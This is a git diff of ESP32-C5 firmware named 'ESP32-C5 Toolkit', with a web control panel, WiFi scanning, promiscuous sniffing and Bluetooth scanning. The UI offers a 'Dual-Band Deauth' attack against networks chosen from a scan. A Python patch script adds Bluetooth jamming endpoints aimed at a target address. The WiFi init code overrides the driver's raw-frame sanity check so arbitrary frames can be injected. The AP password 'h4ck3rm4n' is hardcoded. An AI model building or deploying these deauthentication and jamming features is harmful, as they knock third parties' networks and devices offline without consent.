".warn{background:#220;border:1px solid #f80;padding:10px;margin:10px 0;color:#fa0}"
"input[type=number]{background:#222;border:1px solid #0f0;color:#0f0;padding:5px;width:60px}"
".channel-graph{display:flex;align-items:flex-end;height:60px;gap:2px;padding:5px 0;border-bottom:1px solid #333}"
".channel-bar{flex:1;background:#0f0;min-width:12px;transition:height 0.3s;min-height:3px;border-radius:2px 2px 0 0}"
".channel-bar:hover{background:#0ff}"
".channel-label{text-align:center;font-size:0.7em;color:#888}"
".bar-container{display:flex;flex-direction:column;align-items:center;flex:1}"
".graph-section{margin:10px 0}"
".graphs-container{display:flex;gap:15px;flex-wrap:wrap}"
".graph-box{flex:1;min-width:280px}"
"</style>"
"</head><body>"
"<div class='container'>"
"<h1>&#x1F4E1; ESP32-C5 TOOLKIT</h1>"
"<div class='panel'>"
"<h2>&#x1F50D; WiFi Scanner</h2>"
"<button class='btn' onclick='scanNetworks()'>SCAN ALL BANDS</button>"
"<span id='scan-status' style='margin-left:10px'></span>"
"<div id='networks' style='margin-top:10px'></div>"
"</div>"
"<div class='panel'>"
"<h2>&#x1F4F6; Channel Usage</h2>"
"<div class='graphs-container'>"
"<div class='graph-box'>"
"<h3 class='band-24'>2.4 GHz (CH 1-13)</h3>"
"<div class='channel-graph' id='graph-24'></div>"
"</div>"
"<div class='graph-box'>"
"<h3 class='band-5'>5 GHz</h3>"
"<div class='channel-graph' id='graph-5'></div>"
"</div>"
"</div>"
"</div>"
"<div class='panel'>"
"<h2>&#x26A1; Dual-Band Deauth</h2>"
"<div class='warn'>&#x26A0; WiFi AP offline during attack! Auto-restores after.</div>"
"<p>Click networks to select targets:</p>"
"<div class='targets'>"
"<div class='target-card target-24'>2.4GHz: <span id='t24-name'>None</span></div>"
"<div class='target-card target-5'>5GHz: <span id='t5-name'>None</span></div>"
"</div>"
"<p>Duration: <input type='number' id='duration' value='30' min='10' max='300'> sec</p>"
"<button class='btn btn-danger' onclick='startDeauth()'>&#x26A1; START</button>"
"<button class='btn' onclick='stopDeauth()'>STOP</button>"
"<button class='btn btn-warn' onclick='clearTargets()'>CLEAR</button>"
"<div class='status' id='deauth-status'>Status: Idle</div>"
"</div>"
"<div class='panel'>"
"<h2>&#x1F4F6; Bluetooth Scanner</h2>"
"<button class='btn' onclick='startBtScan()'>START BT SCAN</button>"
"<button class='btn' onclick='stopBtScan()'>STOP SCAN</button>"
"<span id='bt-scan-status' style='margin-left:10px'></span>"
"<div id='bt-devices' style='margin-top:10px;max-height:200px;overflow-y:auto'></div>"
"</div>"
"<div class='panel'>"
"<h2>&#x1F4BB; System</h2>"
"<div id='sysinfo'>Loading...</div>"
"</div>"
"</div>"
"<script>"
"let networks=[];"
"let target24=null,target5=null;"
"const ch5list=[36,40,44,48,149,153,157,161,165];"
"function initGraphs(){"
"let h24='';for(let i=1;i<=13;i++)h24+='<div class=\"bar-container\"><div class=\"channel-bar\" id=\"b24-'+i+'\" style=\"height:2px;background:#0f0\"></div><div class=\"channel-label\">'+i+'</div></div>';"
"document.getElementById('graph-24').innerHTML=h24;"
"let h5='';ch5list.forEach(c=>h5+='<div class=\"bar-container\"><div class=\"channel-bar\" id=\"b5-'+c+'\" style=\"height:2px;background:#0f0\"></div><div class=\"channel-label\">'+c+'</div></div>');"
"document.getElementById('graph-5').innerHTML=h5;}"
"function updateChannelGraph(networks){"
"let ch24=Array(14).fill(0);"
"let ch5={36:0,40:0,44:0,48:0,149:0,153:0,157:0,161:0,165:0};"
"networks.forEach(n=>{"
"if(n.channel<=13)ch24[n.channel]++;"
"else if(ch5[n.channel]!==undefined)ch5[n.channel]++;"
"});"
"let max24=Math.max(...ch24,1);"
"for(let i=1;i<=13;i++){"
"let count=ch24[i];"
"let h=count>0?Math.max(8,Math.round((count/max24)*55)):3;"
"let bar=document.getElementById('b24-'+i);"
"if(bar){"
"bar.style.height=h+'px';"
"bar.title='CH'+i+': '+count+' networks';"
"bar.style.background=count===0?'#0a0':count<=2?'#0f0':count<=4?'#ff0':'#f00';"
"}"
"}"
"let max5=Math.max(...Object.values(ch5),1);"
"ch5list.forEach(c=>{"
"let count=ch5[c]||0;"
"let h=count>0?Math.max(8,Math.round((count/max5)*55)):3;"
"let bar=document.getElementById('b5-'+c);"
"if(bar){"
"bar.style.height=h+'px';"
"bar.title='CH'+c+': '+count+' networks';"
"bar.style.background=count===0?'#0a0':count<=2?'#0f0':count<=4?'#ff0':'#f00';"
"}"
"});"
"}"
"async function scanNetworks(){"
"document.getElementById('scan-status').textContent='Scanning...';"
"document.getElementById('networks').innerHTML='<p>Scanning...</p>';"
"try{"
"const res=await fetch('/api/scan');"
"const data=await res.json();"
"networks=data.networks;"
"document.getElementById('scan-status').textContent='Found '+data.count;"
"renderNetworks();"
"updateChannelGraph(networks);"
"}catch(e){document.getElementById('scan-status').textContent='Error';}}"
"function renderNetworks(){"
"let html='';"
"networks.forEach((n,i)=>{"
"let cls='network';"
"if(target24&&target24.bssid===n.bssid)cls+=' selected-24';"
"if(target5&&target5.bssid===n.bssid)cls+=' selected-5';"
"html+='<div class=\"'+cls+'\" onclick=\"selectNetwork('+i+')\">';"
"html+='<span class=\"ssid\">'+n.ssid+'</span> ';"
"html+='<span class=\"info\">CH:'+n.channel+' '+n.rssi+'dBm <span class=\"'+(n.channel<=14?'band-24':'band-5')+'\">'+n.band+'</span> '+n.security+'</span>';"
"html+='</div>';});"
"document.getElementById('networks').innerHTML=html||'No networks';}"
"function selectNetwork(i){const n=networks[i];if(n.channel<=14){target24=n;document.getElementById('t24-name').textContent=n.ssid;}else{target5=n;document.getElementById('t5-name').textContent=n.ssid;}renderNetworks();}"
"function clearTargets(){target24=null;target5=null;document.getElementById('t24-name').textContent='None';document.getElementById('t5-name').textContent='None';renderNetworks();}"
"async function startDeauth(){"
"if(!target24&&!target5){alert('Select target first!');return;}"
"const dur=document.getElementById('duration').value;"
"if(!confirm('Start attack for '+dur+'s?\\nWiFi will be offline!'))return;"
"const body={duration:parseInt(dur)};"
"if(target24)body.target_24ghz={ssid:target24.ssid,bssid:target24.bssid,channel:target24.channel};"
"if(target5)body.target_5ghz={ssid:target5.ssid,bssid:target5.bssid,channel:target5.channel};"
"try{await fetch('/api/deauth/start',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(body)});"
"document.getElementById('deauth-status').innerHTML='<span class=\"attack-running\">ATTACKING!</span>';}"
"catch(e){document.getElementById('deauth-status').textContent='Error';}}"
"async function stopDeauth(){await fetch('/api/deauth/stop');document.getElementById('deauth-status').textContent='Stopped';}"
"async function loadSysInfo(){try{const r=await fetch('/api/system-info');const d=await r.json();"
"let h='<b>'+d.chip+'</b> Rev:'+d.revision+' | Temp:<b>'+d.temp+'°C</b> | Heap:'+(d.heap/1024).toFixed(0)+'KB<br>';"
"h+='MAC:'+d.mac+' | '+d.features+' | v'+d.version;"
"if(d.attacking)h+='<br><span class=\"attack-running\">⚡ ATTACKING</span> Pkts:'+d.packets_total;"
"document.getElementById('sysinfo').innerHTML=h;}catch(e){}}"
"let btScanInterval=null;"
"async function startBtScan(){"
"document.getElementById('bt-scan-status').textContent='Starting scan...';"
"document.getElementById('bt-devices').innerHTML='<p>Scanning...</p>';"
"try{"
"const res=await fetch('/api/bt/scan/start');"
"const data=await res.json();"
"if(data.status==='ok'){"
"document.getElementById('bt-scan-status').textContent='Scanning...';"
"btScanInterval=setInterval(updateBtDevices,2000);"
"updateBtDevices();"
"}else{document.getElementById('bt-scan-status').textContent='Error: '+data.message;}"
"}catch(e){document.getElementById('bt-scan-status').textContent='Error';}}"
"async function stopBtScan(){"
"if(btScanInterval){clearInterval(btScanInterval);btScanInterval=null;}"
"try{await fetch('/api/bt/scan/stop');"
"document.getElementById('bt-scan-status').textContent='Stopped';"
"}catch(e){}}"
"async function updateBtDevices(){"
"try{"
"const res=await fetch('/api/bt/devices');"
"const data=await res.json();"
"let html='';"
"if(data.devices&&data.devices.length>0){"
"data.devices.forEach(dev=>{"
"html+='<div class=\"network\">';"
"html+='<span class=\"ssid\">'+(dev.name||'Unknown')+'</span> ';"
"html+='<span class=\"info\">'+dev.addr+' '+dev.rssi+'dBm <span class=\"band-24\">'+dev.type+'</span></span>';"
"html+='</div>';"
"});"
"}else{html='<p>No devices found</p>';}"
"document.getElementById('bt-devices').innerHTML=html;"
"document.getElementById('bt-scan-status').textContent='Found '+data.count+' devices';"
"}catch(e){document.getElementById('bt-scan-status').textContent='Error loading devices';}}"
"initGraphs();loadSysInfo();setInterval(loadSysInfo,5000);"
"</script>"
"</body></html>";
return html;
}

View File

@@ -0,0 +1,206 @@
#!/usr/bin/env python3
"""
Update web_server.c with enhanced UI and add Bluetooth/advanced API endpoints
"""
import re
# Read the enhanced UI C string
with open('enhanced_ui_c_string.txt', 'r') as f:
enhanced_html = f.read()
# Read current web_server.c
with open('web_server.c', 'r') as f:
web_server_content = f.read()
# Find the HTML section (from "static const char index_html[]" to "</html>";)
pattern = r'(static const char index_html\[\] = ).*?("</html>";)'
match = re.search(pattern, web_server_content, re.DOTALL)
if match:
# Replace the HTML section
# Extract the enhanced HTML (remove the "static const char index_html[] = " part from our file)
enhanced_html_clean = enhanced_html.replace('static const char index_html[] = \\\n', '').rstrip(';')
# Replace in web_server.c
new_content = web_server_content[:match.start()] + enhanced_html_clean + ';' + web_server_content[match.end():]
# Add Bluetooth API handlers before the register_uri_handlers function
bt_handlers = '''
// Bluetooth API handlers
static esp_err_t api_bt_scan_start_handler(httpd_req_t *req) {
httpd_resp_set_type(req, "application/json");
bool success = bt_scan_start();
if (success) {
httpd_resp_sendstr(req, "{\\"status\\":\\"success\\",\\"message\\":\\"BT scan started\\"}");
} else {
httpd_resp_sendstr(req, "{\\"status\\":\\"error\\",\\"message\\":\\"Failed to start BT scan\\"}");
}
return ESP_OK;
}
static esp_err_t api_bt_scan_stop_handler(httpd_req_t *req) {
httpd_resp_set_type(req, "application/json");
bool success = bt_scan_stop();
if (success) {
httpd_resp_sendstr(req, "{\\"status\\":\\"success\\",\\"message\\":\\"BT scan stopped\\"}");
} else {
httpd_resp_sendstr(req, "{\\"status\\":\\"error\\",\\"message\\":\\"Failed to stop BT scan\\"}");
}
return ESP_OK;
}
static esp_err_t api_bt_devices_handler(httpd_req_t *req) {
httpd_resp_set_type(req, "application/json");
bt_device_t devices[50];
int count = bt_get_devices(devices, 50);
cJSON *root = cJSON_CreateObject();
cJSON *devices_array = cJSON_AddArrayToObject(root, "devices");
for (int i = 0; i < count; i++) {
cJSON *device = cJSON_CreateObject();
cJSON_AddStringToObject(device, "name", devices[i].name);
char addr_str[18];
snprintf(addr_str, sizeof(addr_str), "%02x:%02x:%02x:%02x:%02x:%02x",
devices[i].addr[0], devices[i].addr[1], devices[i].addr[2],
devices[i].addr[3], devices[i].addr[4], devices[i].addr[5]);
cJSON_AddStringToObject(device, "addr", addr_str);
cJSON_AddNumberToObject(device, "rssi", devices[i].rssi);
cJSON_AddNumberToObject(device, "type", devices[i].adv_type);
cJSON_AddItemToArray(devices_array, device);
}
char *json_response = cJSON_PrintUnformatted(root);
httpd_resp_sendstr(req, json_response);
free(json_response);
cJSON_Delete(root);
return ESP_OK;
}
static esp_err_t api_bt_jam_start_handler(httpd_req_t *req) {
httpd_resp_set_type(req, "application/json");
char buf[256];
int ret = httpd_req_recv(req, buf, sizeof(buf)-1);
if (ret <= 0) {
httpd_resp_sendstr(req, "{\\"status\\":\\"error\\",\\"message\\":\\"No data\\"}");
return ESP_FAIL;
}
buf[ret] = 0;
cJSON *root = cJSON_Parse(buf);
if (!root) {
httpd_resp_sendstr(req, "{\\"status\\":\\"error\\",\\"message\\":\\"Bad JSON\\"}");
return ESP_FAIL;
}
uint8_t *target_addr = NULL;
uint32_t duration = 30;
cJSON *target = cJSON_GetObjectItem(root, "target");
if (target && cJSON_IsString(target)) {
// Parse target address
target_addr = malloc(6);
if (target_addr) {
sscanf(target->valuestring, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
&target_addr[0], &target_addr[1], &target_addr[2],
&target_addr[3], &target_addr[4], &target_addr[5]);
}
}
cJSON *dur = cJSON_GetObjectItem(root, "duration");
if (dur && cJSON_IsNumber(dur)) {
duration = (uint32_t)dur->valueint;
}
bool success = bt_jam_start(target_addr, duration);
if (target_addr) free(target_addr);
cJSON_Delete(root);
if (success) {
httpd_resp_sendstr(req, "{\\"status\\":\\"success\\",\\"message\\":\\"BT jamming started\\"}");
} else {
httpd_resp_sendstr(req, "{\\"status\\":\\"error\\",\\"message\\":\\"Failed to start jamming\\"}");
}
return ESP_OK;
}
static esp_err_t api_bt_jam_stop_handler(httpd_req_t *req) {
httpd_resp_set_type(req, "application/json");
bool success = bt_jam_stop();
if (success) {
httpd_resp_sendstr(req, "{\\"status\\":\\"success\\",\\"message\\":\\"BT jamming stopped\\"}");
} else {
httpd_resp_sendstr(req, "{\\"status\\":\\"error\\",\\"message\\":\\"Jamming not active\\"}");
}
return ESP_OK;
}
'''
# Insert BT handlers before register_uri_handlers
register_pattern = r'(// Register URI handlers|esp_err_t register_uri_handlers)'
register_match = re.search(register_pattern, new_content)
if register_match:
new_content = new_content[:register_match.start()] + bt_handlers + new_content[register_match.start():]
# Add BT URI registrations in register_uri_handlers function
bt_registrations = '''
// Register Bluetooth endpoints
httpd_uri_t bt_scan_start_uri = {
.uri = "/api/bt/scan/start",
.method = HTTP_GET,
.handler = api_bt_scan_start_handler,
.user_ctx = NULL
};
httpd_register_uri_handler(server, &bt_scan_start_uri);
httpd_uri_t bt_scan_stop_uri = {
.uri = "/api/bt/scan/stop",
.method = HTTP_GET,
.handler = api_bt_scan_stop_handler,
.user_ctx = NULL
};
httpd_register_uri_handler(server, &bt_scan_stop_uri);
httpd_uri_t bt_devices_uri = {
.uri = "/api/bt/devices",
.method = HTTP_GET,
.handler = api_bt_devices_handler,
.user_ctx = NULL
};
httpd_register_uri_handler(server, &bt_devices_uri);
httpd_uri_t bt_jam_start_uri = {
.uri = "/api/bt/jam/start",
.method = HTTP_POST,
.handler = api_bt_jam_start_handler,
.user_ctx = NULL
};
httpd_register_uri_handler(server, &bt_jam_start_uri);
httpd_uri_t bt_jam_stop_uri = {
.uri = "/api/bt/jam/stop",
.method = HTTP_GET,
.handler = api_bt_jam_stop_handler,
.user_ctx = NULL
};
httpd_register_uri_handler(server, &bt_jam_stop_uri);
'''
# Find where to insert BT registrations (after deauth registrations)
deauth_reg_pattern = r'(httpd_register_uri_handler\(server, &deauth_status_uri\);|// Register reboot endpoint)'
deauth_reg_match = re.search(deauth_reg_pattern, new_content)
if deauth_reg_match:
new_content = new_content[:deauth_reg_match.start()] + bt_registrations + new_content[deauth_reg_match.start():]
# Write updated file
with open('web_server.c', 'w') as f:
f.write(new_content)
print("Updated web_server.c with enhanced UI and Bluetooth APIs")
print("Added Bluetooth scan, devices, and jamming endpoints")
else:
print("ERROR: Could not find HTML section in web_server.c")

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,15 @@
#ifndef WEB_SERVER_H
#define WEB_SERVER_H
#include "esp_http_server.h"
// Initialize the web server
void init_web_server(void);
// Start the HTTP server
httpd_handle_t start_webserver(void);
// Stop the HTTP server
void stop_webserver(void);
#endif /* WEB_SERVER_H */

View File

@@ -0,0 +1,123 @@
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include "esp_wifi.h"
#include "esp_log.h"
#include "esp_event.h"
#include "esp_netif.h"
#include "nvs_flash.h"
#include "board_config.h"
// Define MACSTR and MAC2STR if not already defined
#ifndef MAC2STR
#define MAC2STR(a) (a)[0], (a)[1], (a)[2], (a)[3], (a)[4], (a)[5]
#define MACSTR "%02x:%02x:%02x:%02x:%02x:%02x"
#endif
static const char *TAG = "wifi_init";
// Core frame bypass functions - use weak symbols to override library functions
__attribute__((weak))
int ieee80211_raw_frame_sanity_check(void* frame_ctrl, int32_t frame_len, int32_t ampdu_flag) {
// Always allow frame to pass the sanity check
return 0;
}
__attribute__((weak))
bool ieee80211_is_frame_type_supported(uint8_t frame_type) {
// Support all frame types for packet sniffing
return true;
}
__attribute__((weak))
int ieee80211_handle_frame_type(void* frame_ctrl, uint32_t* dport) {
// Allow all frame types
return 0;
}
// WiFi event handler
static void wifi_event_handler(void* arg, esp_event_base_t event_base,
int32_t event_id, void* event_data) {
if (event_base == WIFI_EVENT) {
switch (event_id) {
case WIFI_EVENT_AP_START:
ESP_LOGI(TAG, "✓✓✓ WiFi AP STARTED - SSID 'ESP32-C5-Toolkit' is now visible ✓✓✓");
break;
case WIFI_EVENT_AP_STOP:
ESP_LOGW(TAG, "WiFi AP STOPPED");
break;
case WIFI_EVENT_AP_STACONNECTED:
{
wifi_event_ap_staconnected_t* event = (wifi_event_ap_staconnected_t*) event_data;
ESP_LOGI(TAG, "Station "MACSTR" joined, AID=%d",
MAC2STR(event->mac), event->aid);
}
break;
case WIFI_EVENT_AP_STADISCONNECTED:
{
wifi_event_ap_stadisconnected_t* event = (wifi_event_ap_stadisconnected_t*) event_data;
ESP_LOGI(TAG, "Station "MACSTR" left, AID=%d",
MAC2STR(event->mac), event->aid);
}
break;
default:
break;
}
}
}
// Initialize WiFi in AP+STA mode (copied from working WiFi-Scanner project)
void wifi_init_ap(void) {
// Initialize network interface
ESP_ERROR_CHECK(esp_netif_init());
// Create default event loop
ESP_ERROR_CHECK(esp_event_loop_create_default());
// IMPORTANT: Create BOTH STA and AP network interfaces
// This is required for APSTA mode to work properly
esp_netif_create_default_wifi_sta();
esp_netif_t *ap_netif = esp_netif_create_default_wifi_ap();
if (ap_netif == NULL) {
ESP_LOGE(TAG, "Failed to create AP netif!");
return;
}
// Initialize WiFi with default config
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
// Register event handler
ESP_ERROR_CHECK(esp_event_handler_register(WIFI_EVENT, ESP_EVENT_ANY_ID,
&wifi_event_handler, NULL));
// Configure AP settings
wifi_config_t wifi_config = {
.ap = {
.ssid = "ESP32-C5-Toolkit",
.password = "h4ck3rm4n",
.ssid_len = strlen("ESP32-C5-Toolkit"),
.channel = 1,
.authmode = WIFI_AUTH_WPA2_PSK,
.max_connection = 4,
},
};
// Set WiFi to AP+Station mode (required for scanning while serving AP)
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &wifi_config));
ESP_ERROR_CHECK(esp_wifi_start());
// Get and log the AP IP address (after WiFi starts)
esp_netif_ip_info_t ip_info;
esp_err_t ret = esp_netif_get_ip_info(ap_netif, &ip_info);
if (ret == ESP_OK) {
ESP_LOGI(TAG, "AP IP Address: " IPSTR, IP2STR(&ip_info.ip));
} else {
ESP_LOGI(TAG, "AP IP Address: 192.168.4.1 (default)");
}
ESP_LOGI(TAG, "Wi-Fi AP+STA Started: SSID=ESP32-C5-Toolkit");
ESP_LOGI(TAG, "Web interface available at: http://192.168.4.1");
}

View File

@@ -0,0 +1,7 @@
#ifndef WIFI_INIT_H
#define WIFI_INIT_H
// Initialize WiFi in AP mode
void wifi_init_ap(void);
#endif /* WIFI_INIT_H */

View File

@@ -0,0 +1,213 @@
#include "wifi_scan.h"
#include "esp_wifi.h"
#include "esp_log.h"
#include "cJSON.h"
#include <string.h>
#include <stdlib.h>
#define TAG "wifi_scan"
#define MAX_NETWORKS 100
#define MAX_JSON_SIZE 16384
// Static buffer for JSON results
static char scan_results_json[MAX_JSON_SIZE];
static int network_count = 0;
// Helper function to get security type string
static const char* get_security_type(wifi_auth_mode_t authmode) {
switch (authmode) {
case WIFI_AUTH_OPEN:
return "Open";
case WIFI_AUTH_WEP:
return "WEP";
case WIFI_AUTH_WPA_PSK:
return "WPA PSK";
case WIFI_AUTH_WPA2_PSK:
return "WPA2 PSK";
case WIFI_AUTH_WPA_WPA2_PSK:
return "WPA/WPA2 PSK";
case WIFI_AUTH_WPA3_PSK:
return "WPA3 PSK";
case WIFI_AUTH_WPA2_WPA3_PSK:
return "WPA2/WPA3 PSK";
default:
return "Unknown";
}
}
// Helper function to determine band from channel
static const char* get_band(uint8_t channel) {
if (channel >= 1 && channel <= 13) {
return "2.4GHz";
}
if ((channel >= 36 && channel <= 144) || (channel >= 149 && channel <= 165)) {
return "5GHz";
}
return "Unknown";
}
// Helper function to get PHY mode string
static const char* get_phy_mode(const wifi_ap_record_t *ap) {
if (ap->phy_11n) {
return "802.11n";
}
if (ap->primary > 14) {
return "802.11a";
}
return "802.11b/g";
}
int wifi_scan_networks(void) {
ESP_LOGI(TAG, "Starting dual-band WiFi scan...");
// Clear previous results
network_count = 0;
scan_results_json[0] = '\0';
// Configure scan
wifi_scan_config_t scan_config = {
.ssid = NULL,
.bssid = NULL,
.channel = 0, // Scan all channels
.show_hidden = true,
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
.scan_time.active.min = 50,
.scan_time.active.max = 100,
.scan_time.passive = 100
};
// Start scan
esp_err_t err = esp_wifi_scan_start(&scan_config, true);
if (err != ESP_OK) {
ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err));
return -1;
}
// Get number of APs found
uint16_t ap_count = 0;
err = esp_wifi_scan_get_ap_num(&ap_count);
if (err != ESP_OK) {
ESP_LOGE(TAG, "Failed to get AP count: %s", esp_err_to_name(err));
return -1;
}
if (ap_count == 0) {
ESP_LOGI(TAG, "No networks found");
strcpy(scan_results_json, "[]");
network_count = 0;
return 0;
}
// Limit to MAX_NETWORKS
if (ap_count > MAX_NETWORKS) {
ap_count = MAX_NETWORKS;
}
// Allocate memory for AP records
wifi_ap_record_t *ap_records = malloc(sizeof(wifi_ap_record_t) * ap_count);
if (!ap_records) {
ESP_LOGE(TAG, "Failed to allocate memory for scan results");
return -1;
}
// Get AP records
err = esp_wifi_scan_get_ap_records(&ap_count, ap_records);
if (err != ESP_OK) {
ESP_LOGE(TAG, "Failed to get AP records: %s", esp_err_to_name(err));
free(ap_records);
return -1;
}
// Create JSON array
cJSON *networks_array = cJSON_CreateArray();
if (!networks_array) {
ESP_LOGE(TAG, "Failed to create JSON array");
free(ap_records);
return -1;
}
// Process each network
for (int i = 0; i < ap_count; i++) {
cJSON *network = cJSON_CreateObject();
if (!network) {
continue;
}
// SSID (handle hidden networks)
const char *ssid_str = (ap_records[i].ssid[0] == 0) ? "(hidden)" : (char*)ap_records[i].ssid;
cJSON_AddStringToObject(network, "ssid", ssid_str);
// BSSID
char bssid_str[18];
snprintf(bssid_str, sizeof(bssid_str), "%02x:%02x:%02x:%02x:%02x:%02x",
ap_records[i].bssid[0], ap_records[i].bssid[1], ap_records[i].bssid[2],
ap_records[i].bssid[3], ap_records[i].bssid[4], ap_records[i].bssid[5]);
cJSON_AddStringToObject(network, "bssid", bssid_str);
// Channel
cJSON_AddNumberToObject(network, "channel", ap_records[i].primary);
// Band
cJSON_AddStringToObject(network, "band", get_band(ap_records[i].primary));
// RSSI
cJSON_AddNumberToObject(network, "rssi", ap_records[i].rssi);
// Security
cJSON_AddStringToObject(network, "security", get_security_type(ap_records[i].authmode));
// PHY mode
cJSON_AddStringToObject(network, "phy_mode", get_phy_mode(&ap_records[i]));
// Second channel (if using 40MHz)
if (ap_records[i].second) {
cJSON_AddNumberToObject(network, "second_channel", ap_records[i].second);
}
// Hidden network flag
cJSON_AddBoolToObject(network, "is_hidden", (ap_records[i].ssid[0] == 0));
cJSON_AddItemToArray(networks_array, network);
}
// Generate JSON string
char *json_string = cJSON_PrintUnformatted(networks_array);
if (json_string) {
size_t json_len = strlen(json_string);
// Check if JSON is too large and warn
if (json_len >= MAX_JSON_SIZE) {
ESP_LOGW(TAG, "JSON too large (%zu >= %d), truncating", json_len, MAX_JSON_SIZE);
}
// Safe copy to static buffer with guaranteed null termination
size_t copy_len = (json_len < MAX_JSON_SIZE - 1) ? json_len : MAX_JSON_SIZE - 1;
memcpy(scan_results_json, json_string, copy_len);
scan_results_json[copy_len] = '\0';
free(json_string);
network_count = ap_count;
} else {
ESP_LOGE(TAG, "Failed to generate JSON string");
cJSON_Delete(networks_array);
free(ap_records);
return -1;
}
cJSON_Delete(networks_array);
free(ap_records);
ESP_LOGI(TAG, "Scan completed, found %d networks", network_count);
return 0;
}
const char* wifi_scan_get_results_json(void) {
if (network_count == 0 && scan_results_json[0] == '\0') {
return "[]";
}
return scan_results_json;
}
int wifi_scan_get_count(void) {
return network_count;
}

View File

@@ -0,0 +1,33 @@
#ifndef WIFI_SCAN_H
#define WIFI_SCAN_H
#include <stdint.h>
/**
* @brief Perform WiFi network scan (dual-band)
*
* Scans both 2.4GHz and 5GHz bands for available networks.
* Results are stored internally and can be retrieved via wifi_scan_get_results_json()
*
* @return 0 on success, negative error code on failure
*/
int wifi_scan_networks(void);
/**
* @brief Get scan results as JSON string
*
* Returns the last scan results in JSON format.
* The returned string is valid until the next scan is performed.
*
* @return JSON string with network information, or NULL on error
*/
const char* wifi_scan_get_results_json(void);
/**
* @brief Get number of networks found in last scan
*
* @return Number of networks found
*/
int wifi_scan_get_count(void);
#endif /* WIFI_SCAN_H */

View File

@@ -0,0 +1,395 @@
#include "wifi_sniffer.h"
#include "signal_analysis.h"
#include "esp_wifi.h"
#include "esp_log.h"
#include "esp_system.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/queue.h"
#include "freertos/semphr.h"
#include <string.h>
#include <stdlib.h>
static const char *TAG = "wifi_sniffer";
// Maximum number of packets to store
#define MAX_PACKETS_QUEUE 32
#define MAX_PACKET_SIZE 1024
// Structure to hold packet info
typedef struct {
uint8_t data[MAX_PACKET_SIZE];
uint16_t length;
int8_t rssi;
uint8_t channel;
wifi_pkt_rx_ctrl_t rx_ctrl;
} packet_info_t;
// Global variables
static QueueHandle_t packet_queue = NULL;
static SemaphoreHandle_t sniffer_running_mutex = NULL;
static volatile bool is_sniffer_running = false;
static uint8_t current_channel = 0;
static uint8_t current_filter = 0;
static TaskHandle_t channel_hopper_task_handle = NULL;
// Channel hopping settings
#define CHANNEL_HOP_INTERVAL_MS 200
static const uint8_t channels[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13};
static const uint8_t channels_count = sizeof(channels)/sizeof(channels[0]);
// Forward declaration
static void wifi_sniffer_packet_handler(void *buf, wifi_promiscuous_pkt_type_t type);
static void channel_hopper_task(void *pvParameters);
static void single_channel_retry_task(void *pvParameters);
// Start WiFi sniffer
bool start_wifi_sniffer(uint8_t channel, uint8_t filter_type) {
ESP_LOGI(TAG, "Starting WiFi sniffer on channel %d with filter type %d", channel, filter_type);
// Create mutex if not already created
if (sniffer_running_mutex == NULL) {
sniffer_running_mutex = xSemaphoreCreateMutex();
if (sniffer_running_mutex == NULL) {
ESP_LOGI(TAG, "Failed to create sniffer mutex");
return false;
}
}
// Take mutex
if (xSemaphoreTake(sniffer_running_mutex, portMAX_DELAY) != pdTRUE) {
ESP_LOGI(TAG, "Failed to take sniffer mutex");
return false;
}
// If sniffer is already running, release mutex and return error
// (calling stop_wifi_sniffer while holding the mutex would cause deadlock)
if (is_sniffer_running) {
ESP_LOGW(TAG, "Sniffer already running");
xSemaphoreGive(sniffer_running_mutex);
return false;
}
// Create packet queue if not already created
if (packet_queue == NULL) {
packet_queue = xQueueCreate(MAX_PACKETS_QUEUE, sizeof(packet_info_t*));
if (packet_queue == NULL) {
ESP_LOGI(TAG, "Failed to create packet queue");
xSemaphoreGive(sniffer_running_mutex);
return false;
}
} else {
// Queue exists, make sure it's empty
packet_info_t *packet;
while (xQueueReceive(packet_queue, &packet, 0) == pdTRUE) {
if (packet) free(packet);
}
}
// Save configuration
current_channel = channel;
current_filter = filter_type;
// Get current WiFi mode and save it
wifi_mode_t original_mode;
ESP_ERROR_CHECK(esp_wifi_get_mode(&original_mode));
// Set to APSTA mode to ensure we keep the AP running while scanning
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
// Set sniffer filter based on packet type
wifi_promiscuous_filter_t filter = {0};
switch (filter_type) {
case 1: // Management frames
filter.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT;
break;
case 2: // Data frames
filter.filter_mask = WIFI_PROMIS_FILTER_MASK_DATA;
break;
case 3: // Control frames
filter.filter_mask = WIFI_PROMIS_FILTER_MASK_CTRL;
break;
case 4: // Beacon frames only
filter.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT;
// We'll filter in the callback for beacon frames only
break;
case 5: // Probe frames only
filter.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT;
// We'll filter in the callback for probe frames only
break;
default: // All packets
filter.filter_mask = WIFI_PROMIS_FILTER_MASK_ALL;
}
esp_wifi_set_promiscuous_filter(&filter);
// Register packet handler
esp_wifi_set_promiscuous_rx_cb(wifi_sniffer_packet_handler);
// Enable promiscuous mode
esp_wifi_set_promiscuous(true);
// Set the channel or start channel hopping
if (channel == 0) {
// Start channel hopping task
xTaskCreate(channel_hopper_task, "channel_hopper", 2048, NULL, 5, &channel_hopper_task_handle);
} else {
// Set specific channel
esp_err_t err = esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
if (err != ESP_OK) {
ESP_LOGW(TAG, "Failed to set initial channel %d: %s", channel, esp_err_to_name(err));
ESP_LOGI(TAG, "Will retry setting channel in background");
// Create a parameter structure to pass the channel
uint8_t *channel_param = malloc(sizeof(uint8_t));
if (channel_param) {
*channel_param = channel;
// Start a task to keep trying to set the channel
BaseType_t ret = xTaskCreate(single_channel_retry_task, "channel_retry", 2048, channel_param, 5, &channel_hopper_task_handle);
if (ret != pdPASS) {
// Task creation failed, free the allocated memory
free(channel_param);
ESP_LOGE(TAG, "Failed to create channel retry task");
}
